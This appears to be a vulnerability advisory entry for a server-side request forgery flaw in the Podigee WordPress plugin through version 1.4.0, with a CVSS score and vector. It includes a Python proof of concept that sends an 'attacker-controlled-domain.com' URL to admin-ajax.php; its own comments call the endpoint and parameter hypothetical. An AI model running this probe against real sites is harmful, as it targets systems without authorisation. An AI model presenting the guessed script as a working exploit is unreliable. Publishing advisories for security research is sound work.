Server-Side Request Forgery (SSRF) vulnerability in podigee Podigee podigee allows Server Side Request Forgery.This issue affects Podigee: from n/a through <= 1.4.0.
CVSS Details
CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N
Configurations (Affected Products)
No configuration data available.
Podigee <= 1.4.0
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# This is a generic PoC for SSRF demonstration. Actual endpoint requires specific analysis.
import requests
def check_ssrf(target_url, malicious_url):
"""Send a payload to the vulnerable endpoint."""
# Hypothetical endpoint based on typical plugin behavior
payload = {
"feed_url": malicious_url # Parameter name is hypothetical
}
try:
response = requests.post(target_url, data=payload, timeout=10)
if response.status_code == 200:
print(f"[+] Potential SSRF triggered. Server responded with length: {len(response.text)}")
else:
print(f"[-] Request failed with status code: {response.status_code}")
except Exception as e:
print(f"[!] Error: {e}")
if __name__ == "__main__":
target = "http://example.com/wp-admin/admin-ajax.php" # Placeholder
# Using a canary token or burp collaborator to detect out-of-band interaction
check_ssrf(target, "http://attacker-controlled-domain.com")